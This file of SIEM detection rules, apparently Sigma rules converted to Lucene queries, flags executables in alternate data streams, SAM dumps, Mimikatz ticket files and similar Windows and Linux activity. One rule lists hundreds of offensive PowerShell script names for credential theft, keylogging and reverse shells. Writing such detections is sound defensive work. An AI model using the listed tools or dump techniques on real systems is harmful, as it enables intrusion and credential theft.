{"description": "Detects the creation of an ADS data stream that contains an executable (non-empty imphash)", "author": ["Florian Roth", "@0xrawsec"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9a4170fd-d2ca-7fa9-9079-bf9cb8dcbdd5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Executable in ADS", "query": "(Hash:*IMPHASH\\=* AND (NOT (Hash:*IMPHASH\\=00000000000000000000000000000000*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the creation of an ADS data stream that contains an executable (non-empty imphash)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9a4170fd-d2ca-7fa9-9079-bf9cb8dcbdd5", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Executable in ADS", "query": "(winlog.event_data.Hashes:*IMPHASH\\=* AND (NOT (winlog.event_data.Hashes:*IMPHASH\\=00000000000000000000000000000000*)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "@0xrawsec"], "license": ""}
{"description": "Detects the creation of an executable by another executable", "enabled": false, "false_positives": ["Software installers", "Update utilities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8079ca14-9a43-b922-a536-72b60980095b", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Creation of an Executable by an Executable", "query": "((process.executable.text:*.exe AND file.path.text:*.exe) AND (NOT ((process.executable.text:(\"C\\:\\\\Windows\\\\System32\\\\msiexec.exe\" OR \"C\\:\\\\Windows\\\\system32\\\\cleanmgr.exe\" OR \"C\\:\\\\Windows\\\\explorer.exe\" OR \"C\\:\\\\WINDOWS\\\\system32\\\\dxgiadaptercache.exe\" OR \"C\\:\\\\WINDOWS\\\\system32\\\\Dism.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\wuauclt.exe\")) OR (process.executable.text:\"C\\:\\\\WINDOWS\\\\system32\\\\svchost.exe\" AND file.path.text:C\\:\\\\Windows\\\\SoftwareDistribution\\\\Download\\\\*) OR (process.executable.text:\"C\\:\\\\Windows\\\\system32\\\\svchost.exe\" AND file.path.text:*\\:\\\\WUDownloadCache\\\\* AND file.path.text:*\\\\WindowsUpdateBox.exe*) OR (process.executable.text:C\\:\\\\WINDOWS\\\\SoftwareDistribution\\\\Download\\\\* AND process.executable.text:*\\\\WindowsUpdateBox.Exe AND file.path.text:C\\:\\\\$WINDOWS.\\~BT\\\\Sources\\\\*) OR (process.executable.text:C\\:\\\\Windows\\\\WinSxS\\\\* AND process.executable.text:*\\\\TiWorker.exe) OR (process.executable.text:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*) OR file.path.text:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*)) OR (process.executable.text:C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\*) OR (file.path.text:*\\\\Microsoft\\\\WindowsApps\\\\*) OR (process.executable.text:C\\:\\\\Users\\\\* AND process.executable.text:*\\\\AppData\\\\Local\\\\Microsoft\\\\Teams\\\\Update.exe AND file.path.text:C\\:\\\\Users\\\\* AND file.path.text:(*\\\\AppData\\\\Local\\\\Microsoft\\\\Teams\\\\stage\\\\Teams.exe OR *\\\\AppData\\\\Local\\\\Microsoft\\\\Teams\\\\stage\\\\Squirrel.exe)) OR (process.executable.text:C\\:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\* AND process.executable.text:*\\\\mscorsvw.exe AND file.path.text:C\\:\\\\Windows\\\\assembly\\\\NativeImages_*))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Resource Development", "T1587"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0042", "reference": "", "name": "Resource Development"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1587", "name": "Develop Capabilities", "reference": ""}]}], "version": 1, "references": ["Malware Sandbox"], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the creation of an executable with a system process name in folders other than the system ones (System32, SysWOW64...etc).", "enabled": false, "false_positives": ["System processes copied outside their default folders for testing purposes", "Third party software naming their software with the same names as the processes mentioned here"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "97e15fca-1487-ded8-d69c-8392de1332ff", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Files With System Process Name In Unsuspected Locations", "query": "(file.path.text:(*\\\\AtBroker.exe OR *\\\\audiodg.exe OR *\\\\backgroundTaskHost.exe OR *\\\\bcdedit.exe OR *\\\\bitsadmin.exe OR *\\\\cmdl32.exe OR *\\\\cmstp.exe OR *\\\\conhost.exe OR *\\\\csrss.exe OR *\\\\dasHost.exe OR *\\\\dfrgui.exe OR *\\\\dllhost.exe OR *\\\\dwm.exe OR *\\\\eventcreate.exe OR *\\\\eventvwr.exe OR *\\\\explorer.exe OR *\\\\extrac32.exe OR *\\\\fontdrvhost.exe OR *\\\\ipconfig.exe OR *\\\\iscsicli.exe OR *\\\\iscsicpl.exe OR *\\\\logman.exe OR *\\\\LogonUI.exe OR *\\\\LsaIso.exe OR *\\\\lsass.exe OR *\\\\lsm.exe OR *\\\\msiexec.exe OR *\\\\msinfo32.exe OR *\\\\mstsc.exe OR *\\\\nbtstat.exe OR *\\\\odbcconf.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\regini.exe OR *\\\\regsvr32.exe OR *\\\\rundll32.exe OR *\\\\RuntimeBroker.exe OR *\\\\schtasks.exe OR *\\\\SearchFilterHost.exe OR *\\\\SearchIndexer.exe OR *\\\\SearchProtocolHost.exe OR *\\\\SecurityHealthService.exe OR *\\\\SecurityHealthSystray.exe OR *\\\\services.exe OR *\\\\ShellAppRuntime.exe OR *\\\\sihost.exe OR *\\\\smartscreen.exe OR *\\\\smss.exe OR *\\\\spoolsv.exe OR *\\\\svchost.exe OR *\\\\SystemSettingsBroker.exe OR *\\\\taskhost.exe OR *\\\\taskhostw.exe OR *\\\\Taskmgr.exe OR *\\\\TiWorker.exe OR *\\\\vssadmin.exe OR *\\\\w32tm.exe OR *\\\\WerFault.exe OR *\\\\WerFaultSecure.exe OR *\\\\wermgr.exe OR *\\\\wevtutil.exe OR *\\\\wininit.exe OR *\\\\winlogon.exe OR *\\\\winrshost.exe OR *\\\\WinRTNetMUAHostServer.exe OR *\\\\wlanext.exe OR *\\\\wlrmdr.exe OR *\\\\WmiPrvSE.exe OR *\\\\wslhost.exe OR *\\\\WSReset.exe OR *\\\\WUDFHost.exe OR *\\\\WWAHost.exe) AND (NOT ((file.path.text:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\* OR C\\:\\\\Windows\\\\WinSxS\\\\* OR C\\:\\\\Windows\\\\SoftwareDistribution\\\\* OR \\\\SystemRoot\\\\System32\\\\*) AND process.executable.text:(*\\\\Windows\\\\System32\\\\dism.exe OR *\\\\TiWorker.exe)) OR (file.path.text:C\\:\\\\$WINDOWS.\\~BT\\\\* AND process.executable.text:\"C\\:\\\\$WINDOWS.\\~BT\\\\Sources\\\\SetupHost.exe\") OR (file.path.text:*\\\\RuntimeBroker.exe AND process.executable.text:\"C\\:\\\\Windows\\\\system32\\\\wbengine.exe\") OR (process.executable.text:*\\:\\\\Windows\\\\system32\\\\svchost.exe AND file.path.text:C\\:\\\\Windows\\\\SoftwareDistribution\\\\Download\\\\* AND file.path.text:(*\\\\spoolsv.exe OR *\\\\bcdedit.exe)) OR (process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\wuauclt.exe\") OR (file.path.text:\"C\\:\\\\Windows\\\\explorer.exe\") OR (process.executable.text:\"C\\:\\\\WINDOWS\\\\system32\\\\msiexec.exe\" AND file.path.text:\"C\\:\\\\Program\\ Files\\\\PowerShell\\\\7\\\\pwsh.exe\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sander Wiebing", "Tim Shelton", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the creation of copy of suspicious files (EXE/DLL) to the default GPO storage folder", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8bf5fe82-49d0-fe28-83c9-148fb343ffda", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Files in Default GPO Folder", "query": "(file.path:*\\\\Policies\\\\\\{31B2F340\\-016D\\-11D2\\-945F\\-00C04FB984F9\\}\\\\* AND file.path:(*.dll OR *.exe))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["elhoim"], "license": ""}
{"description": "Detects the creation of doas.conf file in linux host platform.", "author": ["Sittikorn S", "Teoderick Contreras"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "9857a642-43d8-76fd-5545-dea288c0f066", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Linux Doas Conf File Creation", "query": "file.path.text:*\\/etc\\/doas.conf", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the creation of doas.conf file in linux host platform.", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "9857a642-43d8-76fd-5545-dea288c0f066", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Linux Doas Conf File Creation", "query": "file.path:*\\/etc\\/doas.conf", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Sittikorn S", "Teoderick Contreras"], "license": ""}
{"description": "Detects the creation of files that contain Kerberos tickets based on an extension used by the popular tool Mimikatz", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "364bed01-3608-ebde-c841-6dafe214a45c", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Mimikatz Kirbi File Creation", "query": "file.path:*.kirbi", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1558"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1558", "name": "Steal or Forge Kerberos Tickets", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the creation of files that indicator an interactive use of PowerShell in the SYSTEM user context", "enabled": false, "false_positives": ["Administrative activity", "PowerShell scripts running as SYSTEM user"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a3b2a022-b0fe-6ae9-6f9e-8127ceb245d0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Interactive PowerShell as SYSTEM", "query": "file.path:(\"C\\:\\\\Windows\\\\System32\\\\config\\\\systemprofile\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\PowerShell\\\\PSReadLine\\\\ConsoleHost_history.txt\" OR \"C\\:\\\\Windows\\\\System32\\\\config\\\\systemprofile\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\PowerShell\\\\StartupProfileData\\-Interactive\")", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the creation of files that look like exports of the local SAM (Security Account Manager)", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Rare cases of administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "155d8af3-bf37-7478-a788-9b55c5ec413e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential SAM Database Dump", "query": "((file.path.text:(*\\\\Temp\\\\sam OR *\\\\sam.sav OR *\\\\Intel\\\\sam OR *\\\\sam.hive OR *\\\\Perflogs\\\\sam OR *\\\\ProgramData\\\\sam OR *\\\\Users\\\\Public\\\\sam OR *\\\\AppData\\\\Local\\\\sam OR *\\\\AppData\\\\Roaming\\\\sam OR *_ShadowSteal.zip OR *\\\\Documents\\\\SAM.export OR *\\:\\\\sam)) OR (file.path.text:(*\\\\hive_sam_* OR *\\\\sam.save* OR *\\\\sam.export* OR *\\\\\\~reg_sam.save* OR *\\\\sam_backup* OR *\\\\sam.bck* OR *\\\\sam.backup*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the creation of known offensive powershell scripts used for exploitation", "author": ["Markus Neis", "Nasreddine Bencherchali", "Mustafa Kaan Demir", "Georg Lauenstein"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5290e05a-5284-3691-a053-ee84bb677aac", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Malicious PowerShell Commandlets - FileCreation", "query": "file.path.text:(*\\\\Add\\-ConstrainedDelegationBackdoor.ps1 OR *\\\\Add\\-Exfiltration.ps1 OR *\\\\Add\\-Persistence.ps1 OR *\\\\Add\\-RegBackdoor.ps1 OR *\\\\Add\\-RemoteRegBackdoor.ps1 OR *\\\\Add\\-ScrnSaveBackdoor.ps1 OR *\\\\Check\\-VM.ps1 OR *\\\\ConvertTo\\-ROT13.ps1 OR *\\\\Copy\\-VSS.ps1 OR *\\\\Create\\-MultipleSessions.ps1 OR *\\\\DNS_TXT_Pwnage.ps1 OR *\\\\Do\\-Exfiltration.ps1 OR *\\\\DomainPasswordSpray.ps1 OR *\\\\Download_Execute.ps1 OR *\\\\Download\\-Execute\\-PS.ps1 OR *\\\\Enabled\\-DuplicateToken.ps1 OR *\\\\Enable\\-DuplicateToken.ps1 OR *\\\\Execute\\-Command\\-MSSQL.ps1 OR *\\\\Execute\\-DNSTXT\\-Code.ps1 OR *\\\\Execute\\-OnTime.ps1 OR *\\\\ExetoText.ps1 OR *\\\\Exploit\\-Jboss.ps1 OR *\\\\Find\\-AVSignature.ps1 OR *\\\\Find\\-Fruit.ps1 OR *\\\\Find\\-GPOLocation.ps1 OR *\\\\Find\\-TrustedDocuments.ps1 OR *\\\\FireBuster.ps1 OR *\\\\FireListener.ps1 OR *\\\\Get\\-ApplicationHost.ps1 OR *\\\\Get\\-ChromeDump.ps1 OR *\\\\Get\\-ClipboardContents.ps1 OR *\\\\Get\\-ComputerDetail.ps1 OR *\\\\Get\\-FoxDump.ps1 OR *\\\\Get\\-GPPAutologon.ps1 OR *\\\\Get\\-GPPPassword.ps1 OR *\\\\Get\\-IndexedItem.ps1 OR *\\\\Get\\-Keystrokes.ps1 OR *\\\\Get\\-LSASecret.ps1 OR *\\\\Get\\-MicrophoneAudio.ps1 OR *\\\\Get\\-PassHashes.ps1 OR *\\\\Get\\-PassHints.ps1 OR *\\\\Get\\-RegAlwaysInstallElevated.ps1 OR *\\\\Get\\-RegAutoLogon.ps1 OR *\\\\Get\\-RickAstley.ps1 OR *\\\\Get\\-Screenshot.ps1 OR *\\\\Get\\-SecurityPackages.ps1 OR *\\\\Get\\-ServiceFilePermission.ps1 OR *\\\\Get\\-ServicePermission.ps1 OR *\\\\Get\\-ServiceUnquoted.ps1 OR *\\\\Get\\-SiteListPassword.ps1 OR *\\\\Get\\-System.ps1 OR *\\\\Get\\-TimedScreenshot.ps1 OR *\\\\Get\\-UnattendedInstallFile.ps1 OR *\\\\Get\\-Unconstrained.ps1 OR *\\\\Get\\-USBKeystrokes.ps1 OR *\\\\Get\\-VaultCredential.ps1 OR *\\\\Get\\-VulnAutoRun.ps1 OR *\\\\Get\\-VulnSchTask.ps1 OR *\\\\Get\\-WebConfig.ps1 OR *\\\\Get\\-WebCredentials.ps1 OR *\\\\Get\\-WLAN\\-Keys.ps1 OR *\\\\Gupt\\-Backdoor.ps1 OR *\\\\HTTP\\-Backdoor.ps1 OR *\\\\HTTP\\-Login.ps1 OR *\\\\Install\\-ServiceBinary.ps1 OR *\\\\Install\\-SSP.ps1 OR *\\\\Invoke\\-ACLScanner.ps1 OR *\\\\Invoke\\-ADSBackdoor.ps1 OR *\\\\Invoke\\-AmsiBypass.ps1 OR *\\\\Invoke\\-ARPScan.ps1 OR *\\\\Invoke\\-BackdoorLNK.ps1 OR *\\\\Invoke\\-BadPotato.ps1 OR *\\\\Invoke\\-BetterSafetyKatz.ps1 OR *\\\\Invoke\\-BruteForce.ps1 OR *\\\\Invoke\\-BypassUAC.ps1 OR *\\\\Invoke\\-Carbuncle.ps1 OR *\\\\Invoke\\-Certify.ps1 OR *\\\\Invoke\\-ConPtyShell.ps1 OR *\\\\Invoke\\-CredentialInjection.ps1 OR *\\\\Invoke\\-CredentialsPhish.ps1 OR *\\\\Invoke\\-DAFT.ps1 OR *\\\\Invoke\\-DCSync.ps1 OR *\\\\Invoke\\-Decode.ps1 OR *\\\\Invoke\\-DinvokeKatz.ps1 OR *\\\\Invoke\\-DllInjection.ps1 OR *\\\\Invoke\\-DowngradeAccount.ps1 OR *\\\\Invoke\\-EgressCheck.ps1 OR *\\\\Invoke\\-Encode.ps1 OR *\\\\Invoke\\-EventViewer.ps1 OR *\\\\Invoke\\-Eyewitness.ps1 OR *\\\\Invoke\\-FakeLogonScreen.ps1 OR *\\\\Invoke\\-Farmer.ps1 OR *\\\\Invoke\\-Get\\-RBCD\\-Threaded.ps1 OR *\\\\Invoke\\-Gopher.ps1 OR *\\\\Invoke\\-Grouper2.ps1 OR *\\\\Invoke\\-Grouper3.ps1 OR *\\\\Invoke\\-HandleKatz.ps1 OR *\\\\Invoke\\-Interceptor.ps1 OR *\\\\Invoke\\-Internalmonologue.ps1 OR *\\\\Invoke\\-Inveigh.ps1 OR *\\\\Invoke\\-InveighRelay.ps1 OR *\\\\Invoke\\-JSRatRegsvr.ps1 OR *\\\\Invoke\\-JSRatRundll.ps1 OR *\\\\Invoke\\-KrbRelay.ps1 OR *\\\\Invoke\\-KrbRelayUp.ps1 OR *\\\\Invoke\\-LdapSignCheck.ps1 OR *\\\\Invoke\\-Lockless.ps1 OR *\\\\Invoke\\-MalSCCM.ps1 OR *\\\\Invoke\\-Mimikatz.ps1 OR *\\\\Invoke\\-MimikatzWDigestDowngrade.ps1 OR *\\\\Invoke\\-Mimikittenz.ps1 OR *\\\\Invoke\\-MITM6.ps1 OR *\\\\Invoke\\-NanoDump.ps1 OR *\\\\Invoke\\-NetRipper.ps1 OR *\\\\Invoke\\-NetworkRelay.ps1 OR *\\\\Invoke\\-NinjaCopy.ps1 OR *\\\\Invoke\\-OxidResolver.ps1 OR *\\\\Invoke\\-P0wnedshell.ps1 OR *\\\\Invoke\\-P0wnedshellx86.ps1 OR *\\\\Invoke\\-Paranoia.ps1 OR *\\\\Invoke\\-PortScan.ps1 OR *\\\\Invoke\\-PoshRatHttp.ps1 OR *\\\\Invoke\\-PoshRatHttps.ps1 OR *\\\\Invoke\\-PostExfil.ps1 OR *\\\\Invoke\\-PowerDump.ps1 OR *\\\\Invoke\\-PowerShellIcmp.ps1 OR *\\\\Invoke\\-PowerShellTCP.ps1 OR *\\\\Invoke\\-PowerShellTcpOneLine.ps1 OR *\\\\Invoke\\-PowerShellTcpOneLineBind.ps1 OR *\\\\Invoke\\-PowerShellUdp.ps1 OR *\\\\Invoke\\-PowerShellUdpOneLine.ps1 OR *\\\\Invoke\\-PowerShellWMI.ps1 OR *\\\\Invoke\\-PowerThIEf.ps1 OR *\\\\Invoke\\-PPLDump.ps1 OR *\\\\Invoke\\-Prasadhak.ps1 OR *\\\\Invoke\\-PsExec.ps1 OR *\\\\Invoke\\-PsGcat.ps1 OR *\\\\Invoke\\-PsGcatAgent.ps1 OR *\\\\Invoke\\-PSInject.ps1 OR *\\\\Invoke\\-PsUaCme.ps1 OR *\\\\Invoke\\-ReflectivePEInjection.ps1 OR *\\\\Invoke\\-ReverseDNSLookup.ps1 OR *\\\\Invoke\\-Rubeus.ps1 OR *\\\\Invoke\\-RunAs.ps1 OR *\\\\Invoke\\-SafetyKatz.ps1 OR *\\\\Invoke\\-SauronEye.ps1 OR *\\\\Invoke\\-SCShell.ps1 OR *\\\\Invoke\\-Seatbelt.ps1 OR *\\\\Invoke\\-ServiceAbuse.ps1 OR *\\\\Invoke\\-SessionGopher.ps1 OR *\\\\Invoke\\-SharpAllowedToAct.ps1 OR *\\\\Invoke\\-SharpBlock.ps1 OR *\\\\Invoke\\-SharpBypassUAC.ps1 OR *\\\\Invoke\\-SharpChromium.ps1 OR *\\\\Invoke\\-SharpClipboard.ps1 OR *\\\\Invoke\\-SharpCloud.ps1 OR *\\\\Invoke\\-SharpDPAPI.ps1 OR *\\\\Invoke\\-SharpDump.ps1 OR *\\\\Invoke\\-SharPersist.ps1 OR *\\\\Invoke\\-SharpGPOAbuse.ps1 OR *\\\\Invoke\\-SharpGPO\\-RemoteAccessPolicies.ps1 OR *\\\\Invoke\\-SharpHandler.ps1 OR *\\\\Invoke\\-SharpHide.ps1 OR *\\\\Invoke\\-Sharphound2.ps1 OR *\\\\Invoke\\-Sharphound3.ps1 OR *\\\\Invoke\\-SharpHound4.ps1 OR *\\\\Invoke\\-SharpImpersonation.ps1 OR *\\\\Invoke\\-SharpImpersonationNoSpace.ps1 OR *\\\\Invoke\\-SharpKatz.ps1 OR *\\\\Invoke\\-SharpLdapRelayScan.ps1 OR *\\\\Invoke\\-Sharplocker.ps1 OR *\\\\Invoke\\-SharpLoginPrompt.ps1 OR *\\\\Invoke\\-SharpMove.ps1 OR *\\\\Invoke\\-SharpPrinter.ps1 OR *\\\\Invoke\\-SharpPrintNightmare.ps1 OR *\\\\Invoke\\-SharpRDP.ps1 OR *\\\\Invoke\\-SharpSCCM.ps1 OR *\\\\Invoke\\-SharpSecDump.ps1 OR *\\\\Invoke\\-Sharpshares.ps1 OR *\\\\Invoke\\-SharpSniper.ps1 OR *\\\\Invoke\\-SharpSploit.ps1 OR *\\\\Invoke\\-Sharpsploit_nomimi.ps1 OR *\\\\Invoke\\-SharpSpray.ps1 OR *\\\\Invoke\\-SharpSSDP.ps1 OR *\\\\Invoke\\-SharpStay.ps1 OR *\\\\Invoke\\-SharpUp.ps1 OR *\\\\Invoke\\-Sharpview.ps1 OR *\\\\Invoke\\-SharpWatson.ps1 OR *\\\\Invoke\\-Sharpweb.ps1 OR *\\\\Invoke\\-SharpWSUS.ps1 OR *\\\\Invoke\\-ShellCode.ps1 OR *\\\\Invoke\\-SMBScanner.ps1 OR *\\\\Invoke\\-Snaffler.ps1 OR *\\\\Invoke\\-Spoolsample.ps1 OR *\\\\Invoke\\-SSHCommand.ps1 OR *\\\\Invoke\\-SSIDExfil.ps1 OR *\\\\Invoke\\-StandIn.ps1 OR *\\\\Invoke\\-StickyNotesExtract.ps1 OR *\\\\Invoke\\-Tater.ps1 OR *\\\\Invoke\\-Thunderfox.ps1 OR *\\\\Invoke\\-ThunderStruck.ps1 OR *\\\\Invoke\\-TokenManipulation.ps1 OR *\\\\Invoke\\-Tokenvator.ps1 OR *\\\\Invoke\\-TotalExec.ps1 OR *\\\\Invoke\\-UrbanBishop.ps1 OR *\\\\Invoke\\-UserHunter.ps1 OR *\\\\Invoke\\-VoiceTroll.ps1 OR *\\\\Invoke\\-Whisker.ps1 OR *\\\\Invoke\\-WinEnum.ps1 OR *\\\\Invoke\\-winPEAS.ps1 OR *\\\\Invoke\\-WireTap.ps1 OR *\\\\Invoke\\-WmiCommand.ps1 OR *\\\\Invoke\\-WScriptBypassUAC.ps1 OR *\\\\Invoke\\-Zerologon.ps1 OR *\\\\Keylogger.ps1 OR *\\\\MailRaider.ps1 OR *\\\\New\\-HoneyHash.ps1 OR *\\\\OfficeMemScraper.ps1 OR *\\\\Offline_Winpwn.ps1 OR *\\\\Out\\-CHM.ps1 OR *\\\\Out\\-DnsTxt.ps1 OR *\\\\Out\\-Excel.ps1 OR *\\\\Out\\-HTA.ps1 OR *\\\\Out\\-Java.ps1 OR *\\\\Out\\-JS.ps1 OR *\\\\Out\\-Minidump.ps1 OR *\\\\Out\\-RundllCommand.ps1 OR *\\\\Out\\-SCF.ps1 OR *\\\\Out\\-SCT.ps1 OR *\\\\Out\\-Shortcut.ps1 OR *\\\\Out\\-WebQuery.ps1 OR *\\\\Out\\-Word.ps1 OR *\\\\Parse_Keys.ps1 OR *\\\\Port\\-Scan.ps1 OR *\\\\PowerBreach.ps1 OR *\\\\PowerSharpPack.ps1 OR *\\\\PowerUp.ps1 OR *\\\\PowerUpSQL.ps1 OR *\\\\PowerView.ps1 OR *\\\\PSAsyncShell.ps1 OR *\\\\RemoteHashRetrieval.ps1 OR *\\\\Remove\\-Persistence.ps1 OR *\\\\Remove\\-PoshRat.ps1 OR *\\\\Remove\\-Update.ps1 OR *\\\\Run\\-EXEonRemote.ps1 OR *\\\\Set\\-DCShadowPermissions.ps1 OR *\\\\Set\\-MacAttribute.ps1 OR *\\\\Set\\-RemotePSRemoting.ps1 OR *\\\\Set\\-RemoteWMI.ps1 OR *\\\\Set\\-Wallpaper.ps1 OR *\\\\Show\\-TargetScreen.ps1 OR *\\\\Speak.ps1 OR *\\\\Start\\-CaptureServer.ps1 OR *\\\\Start\\-WebcamRecorder.ps1 OR *\\\\StringToBase64.ps1 OR *\\\\TexttoExe.ps1 OR *\\\\VolumeShadowCopyTools.ps1 OR *\\\\WinPwn.ps1 OR *\\\\WSUSpendu.ps1)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", "", "", "", "", "", "", "", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the creation of log files during a TeamViewer remote session", "enabled": false, "false_positives": ["Legitimate uses of TeamViewer in an organisation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "084253e9-d8ae-7559-d887-d14b11dc5629", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "TeamViewer Remote Session", "query": "(file.path:(*\\\\TeamViewer\\\\RemotePrinting\\\\tvprint.db OR *\\\\TeamViewer\\\\TVNetwork.log) OR (file.path:*\\\\TeamViewer* AND file.path:*_Logfile.log*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
